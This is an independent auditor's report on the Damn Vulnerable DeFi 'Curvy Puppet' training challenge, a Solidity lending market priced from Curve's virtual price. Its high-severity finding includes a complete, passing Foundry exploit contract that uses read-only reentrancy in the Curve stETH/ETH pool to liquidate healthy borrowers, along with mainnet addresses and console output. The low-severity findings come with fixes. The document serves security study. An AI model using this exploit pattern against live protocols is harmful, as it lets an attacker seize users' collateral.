Prepared by: Khant Wai Yan Aung (SnavOhBurmaa)

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: August 25, 2026

Table of contents

See table

About Me

I’m a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Curvy Puppet challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is August 25, 2026. Tools used were manual review and Foundry (forge) for the PoC on a mainnet fork, Slither, Aderyn.

Scope

```
src/curvy-puppet/
  CurvyPuppetLending.sol
  CurvyPuppetOracle.sol
```

Protocol Summary

Curvy Puppet is a small lending market. You put up DVT as collateral and borrow the Curve stETH/ETH LP token against it. If your debt ever grows past your collateral, anyone can liquidate you by repaying the debt and taking all your collateral.

The catch is how the LP token is priced. The contract reads the Curve pool's `get_virtual_price()` live, every time it needs a value. Two prices matter: DVT and ETH come from a permissioned oracle, and the LP token price is ETH price times that Curve virtual price.

In the test setup Alice, Bob and Charlie each deposit 2500 DVT and borrow 1 LP token, so they are heavily overcollateralized (about 6x). The treasury lends out the operation 200 WETH and 6.5 LP tokens. The goal is to close all three positions and move the rescued collateral to the treasury before an attacker can take it.

Roles

The borrower deposits DVT and borrows LP tokens, and can withdraw, redeem, or be liquidated. Any account can call `liquidate` on a position that is underwater. The oracle owner is the only account that can set the DVT and ETH prices. The treasury holds the starting WETH and LP tokens used to fund the rescue.

Executive Summary

The whole market rests on one price, the Curve pool's `get_virtual_price()`, and that price can be faked for a single instant. On this pool, calling `remove_liquidity()` sends ETH back to the caller in the middle of the call, before the pool finishes updating its balances. During that moment `get_virtual_price()` reads far too high. This is the classic Curve read only reentrancy.

Because every debt check uses that price, an attacker can add liquidity, start removing it, and inside the ETH callback the virtual price jumps from about `1.10` to `3.68`. That is enough to make all three healthy positions look underwater at once, so the attacker liquidates Alice, Bob and Charlie in a single transaction and walks away with their DVT. The `nonReentrant` guard on `liquidate` does not help, since the trick happens inside the Curve pool, not inside the lending contract. The PoC in this report reproduces the full attack on a mainnet fork and passes.

The rest of the findings are minor code hygiene issues surfaced by manual review and by Slither and Aderyn.

Issues found

Severity	Number of issues found
High	1
Low	3

Severity	Number of issues found
Informational	1
Total	5

ID	Title	Severity
[H-1]	Read only reentrancy on Curve `get_virtual_price()` lets anyone liquidate healthy borrowers	High
[L-1]	ERC20 `transfer` return value is never checked	Low
[L-2]	Missing zero address check in the constructor	Low
[L-3]	`redeem()` writes state after an external call	Low
[I-1]	Magic numbers for the collateral ratio	Informational

Findings

High

[H-1] Read only reentrancy on Curve `get_virtual_price()` lets anyone liquidate healthy borrowers and seize their collateral

Description:

The lending contract prices the borrowed LP token straight from the Curve stETH/ETH pool:

```
// src/curvy-puppet/CurvyPuppetLending.sol:133-135
function _getLPTokenPrice() private view returns (uint256) {
    return
oracle.getPrice(curvePool.coins(0)).value.mulWadDown(curvePool.get_
}
```

`get_virtual_price()` looks safe because it is a `view`, but on this pool it is not safe to call in the middle of a transaction. When someone calls `remove_liquidity()`, the pool burns the LP supply and then sends ETH back to the caller with a raw call before it finishes settling its internal balances. During that raw call the supply is already reduced but the stETH balance is not, so `get_virtual_price()` reads a value that is far too high.

Every debt check in the contract trusts that number:

```
// src/curvy-puppet/CurvyPuppetLending.sol:111-114
function getBorrowValue(uint256 amount) public view returns
(uint256) {
    if (amount == 0) return 0;
    return amount.mulWadUp(_getLPTokenPrice());
}

// src/curvy-puppet/CurvyPuppetLending.sol:101-103
uint256 collateralValue = getCollateralValue(collateralAmount) *
100;
uint256 borrowValue = getBorrowValue(borrowAmount) * 175;
if (collateralValue >= borrowValue) revert
HealthyPosition(borrowValue, collateralValue);
```

So an attacker can inflate the virtual price for one instant, which inflates every borrower's debt value, which makes healthy positions look unhealthy. The `nonReentrant` modifier on `liquidate()` gives false comfort here, because the manipulation happens inside the Curve pool's callback, not by reentering the lending contract. The attacker simply calls `liquidate()` normally from inside their own `receive()`.

At the fork block the normal virtual price is about `1.097e18`. Alice, Bob and Charlie each deposited 2500 DVT (worth 25000) and borrowed 1 LP token. A position only becomes liquidatable when `borrowValue * 175 > collateralValue * 100`, which works out to needing the virtual price above about `3.571e18`. By adding a large amount of liquidity and then removing it, the attacker pushes the virtual price to `3.684e18` during the callback and liquidates all three in a single transaction.

Location is `src/curvy-puppet/CurvyPuppetLending.sol:134` for the root cause and `src/curvy-puppet/CurvyPuppetLending.sol:101-103` for the fooled health check.

Impact:

Likelihood `High`

Risk `High`

Proof of Concept:

The player deploys one attacker contract and hands it the treasury's 6.5 LP tokens, which are used to repay the seized debts. The attacker adds balanced liquidity to the Curve pool, then calls `remove_liquidity`. The pool sends ETH back mid call, which fires the attacker's `receive()`. At that instant the virtual price is inflated, so the attacker liquidates Alice, Bob and Charlie and collects all their DVT. Everything rescued is forwarded to the treasury. The

large ETH and stETH amounts stand in for flash loaned capital (`vm.deal` for ETH and a whale transfer for stETH), which is how this capital is sourced on mainnet.

```
contract Liquidator {
    IStableSwap constant pool =
IStableSwap(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
    IERC20 constant stETH =
IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
    IPermit2 constant permit2 =
IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);
    IERC20 constant lp =
IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);

    CurvyPuppetLending immutable lending;
    DamnValuableToken immutable dvt;
    address immutable treasury;
    address immutable alice;
    address immutable bob;
    address immutable charlie;
    bool armed;

    constructor(CurvyPuppetLending _l, DamnValuableToken _d,
address _t, address _a, address _b, address _c) {
        lending = _l; dvt = _d; treasury = _t; alice = _a; bob =
_b; charlie = _c;
    }

    function attack(uint256 ethAdd, uint256 stethAdd) external {
        // Approve LP so the lending contract can pull our
repayment during liquidate()
        lp.approve(address(permit2), type(uint256).max);
        permit2.approve(address(lp), address(lending),
type(uint160).max, uint48(block.timestamp + 1));
        stETH.approve(address(pool), type(uint256).max);

        // Add balanced liquidity, then remove it to trigger the
ETH callback
        uint256 minted = pool.add_liquidity{value: ethAdd}
([ethAdd, stethAdd], 0);
        console.log("vp before attack    :",
pool.get_virtual_price());
        armed = true;
        pool.remove_liquidity(minted, [uint256(0), uint256(0)]);
        console.log("vp after attack     :",
pool.get_virtual_price());

        // Hand every rescued asset to the treasury
        dvt.transfer(treasury, dvt.balanceOf(address(this)));
        lp.transfer(treasury, lp.balanceOf(address(this)));
    }

    receive() external payable {
```

```
        if (armed && msg.sender == address(pool)) {
            armed = false;
            console.log(">>> vp INSIDE callback:",
pool.get_virtual_price());
            lending.liquidate(alice);
            lending.liquidate(bob);
            lending.liquidate(charlie);
        }
    }
}

function test_curvyPuppetPoC() public {
    IERC20 lp = IERC20(curvePool.lp_token());

    console.log(" BEFORE ");
    console.log("alice collateral    :",
lending.getCollateralAmount(alice));
    console.log("bob   collateral    :",
lending.getCollateralAmount(bob));
    console.log("charlie collateral  :",
lending.getCollateralAmount(charlie));
    console.log("treasury DVT        :", dvt.balanceOf(treasury));

    vm.startPrank(player, player);
    Liquidator liq = new Liquidator(lending, dvt, treasury, alice,
bob, charlie);
    lp.transferFrom(treasury, address(liq),
TREASURY_LP_BALANCE); // 6.5 LP to repay debts

    uint256 ethAdd = 160_000 ether;
    uint256 stethAdd = 166_000 ether;
    vm.deal(address(liq), ethAdd + 1 ether);          // stands in
for a flash loan
    vm.stopPrank();
    vm.prank(WSTETH);
    stETH.transfer(address(liq), stethAdd);            // stands
in for borrowed stETH

    vm.prank(player, player);
    liq.attack(ethAdd, stethAdd);

    console.log(" AFTER ");
    console.log("alice collateral    :",
lending.getCollateralAmount(alice));
    console.log("bob   collateral    :",
lending.getCollateralAmount(bob));
    console.log("charlie collateral  :",
lending.getCollateralAmount(charlie));
    console.log("treasury DVT        :", dvt.balanceOf(treasury));
    console.log("treasury LP         :", lp.balanceOf(treasury));
    console.log("treasury WETH       :",
weth.balanceOf(treasury));

    _isSolved();
```

```
    console.log("SOLVED: all positions closed, collateral rescued
to treasury");
}
```

Console output from the test:

```
[PASS] test_curvyPuppetPoC() (gas: 1194888)
Logs:
   BEFORE
  alice collateral    : 2500000000000000000000
  bob   collateral    : 2500000000000000000000
  charlie collateral  : 2500000000000000000000
  treasury DVT        : 0
  vp before attack    : 1096890531722211214
  >>> vp INSIDE callback: 3683662200450300386
  vp after attack     : 1096890531722211214
   AFTER
  alice collateral    : 0
  bob   collateral    : 0
  charlie collateral  : 0
  treasury DVT        : 7500000000000000000000
  treasury LP         : 3500000000000000000
  treasury WETH       : 20000000000000000000
  SOLVED: all positions closed, collateral rescued to treasury
```

The virtual price sits at `1.0968e18` before and after the transaction but jumps to `3.6836e18` inside the callback, which is above the `3.571e18` liquidation threshold. All three positions are emptied and the full 7500 DVT plus the leftover 3.5 LP land in the treasury.

Recommended Mitigation:

Don't blindly trust `get_virtual_price()` because an attacker can call it while Curve is in the middle of `remove_liquidity()`, when the price is temporarily incorrect. A simple fix is to call a function like `withdraw_admin_fees()` or `remove_liquidity(0, ...)` first, these use Curve's reentrancy lock, so if the pool is already in the middle of `remove_liquidity()`, the call will revert and block the attack. An even better solution is to avoid using Curve's live `virtual_price` and instead use an independent, manipulation resistant oracle to calculate the LP token price.

Low

[L-1] ERC20 `transfer` return value is never checked

Description:

Every payout uses the raw `transfer` and ignores the boolean result

```
// src/curvy-puppet/CurvyPuppetLending.sol:58,82,93,108
IERC20(collateralAsset).transfer(msg.sender, amount);
IERC20(borrowAsset).transfer(msg.sender, amount);
IERC20(collateralAsset).transfer(msg.sender, returnAmount);
IERC20(collateralAsset).transfer(msg.sender, collateralAmount);
```

With a token that returns false instead of reverting, the position state would be updated as if the payout happened even though it did not.

Impact:

Likelihood `Low`

Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Use OpenZeppelin `SafeERC20` and call `safeTransfer`.

[L-2] Missing zero address check in the constructor

Description:

`_collateralAsset` is stored without any check

```
// src/curvy-puppet/CurvyPuppetLending.sol:37
collateralAsset = _collateralAsset;
```

Impact:

Likelihood `Low`

Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Revert if `_collateralAsset` is the zero address in the constructor.

```
     constructor(address _collateralAsset, IStableSwap _curvePool,
        IPermit2 _permit2, CurvyPuppetOracle _oracle) {
+        if (_collateralAsset == address(0)) revert
        InvalidAmount();
```

```
        borrowAsset = _curvePool.lp_token();
        collateralAsset = _collateralAsset;
```

[L-3] `redeem()` writes state after an external call

Description:

`redeem()` pulls tokens through Permit2 and only afterwards zeroes the collateral, so state is written after an external call.

```
// src/curvy-puppet/CurvyPuppetLending.sol:85-95
positions[msg.sender].borrowAmount -= amount;
_pullAssets(borrowAsset, amount);          // external call
if (positions[msg.sender].borrowAmount == 0) {
    uint256 returnAmount = positions[msg.sender].collateralAmount;
    positions[msg.sender].collateralAmount = 0;
    IERC20(collateralAsset).transfer(msg.sender, returnAmount);
}
```

The `nonReentrant` modifier currently blocks any exploit, so this is defense in depth rather than a live bug, but the ordering breaks checks effects interactions.

Impact:

Likelihood `Low`

Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Follow checks effects interactions. Zero the position first, then do the external calls last.

```
     function redeem(uint256 amount) external nonReentrant {
         if (amount == 0) revert InvalidAmount();
         positions[msg.sender].borrowAmount -= amount;
-        _pullAssets(borrowAsset, amount);
-
-        if (positions[msg.sender].borrowAmount == 0) {
-            uint256 returnAmount =
        positions[msg.sender].collateralAmount;
-            positions[msg.sender].collateralAmount = 0;
-            IERC20(collateralAsset).transfer(msg.sender,
        returnAmount);
-        }
+        uint256 returnAmount;
+        if (positions[msg.sender].borrowAmount == 0) {
```

```
+            returnAmount =
        positions[msg.sender].collateralAmount;
+            positions[msg.sender].collateralAmount = 0;
+        }
+        _pullAssets(borrowAsset, amount);
+        if (returnAmount != 0) {
+            IERC20(collateralAsset).transfer(msg.sender,
        returnAmount);
+        }
    }
```

Informational

[I-1] Magic numbers for the collateral ratio

Description:

The `175` and `100` that encode the 175 percent collateral ratio are repeated inline

```
// src/curvy-puppet/CurvyPuppetLending.sol:55,66,101,102
if (borrowValue * 175 > remainingCollateralValue * 100) revert
UnhealthyPosition();
uint256 maxBorrowValue = collateralValue * 100 / 175;
uint256 collateralValue = getCollateralValue(collateralAmount) *
100;
uint256 borrowValue = getBorrowValue(borrowAmount) * 175;
```

Recommended Mitigation:

Give them named constants, for example `uint256 constant LIQUIDATION_RATIO_BPS = 17500;`.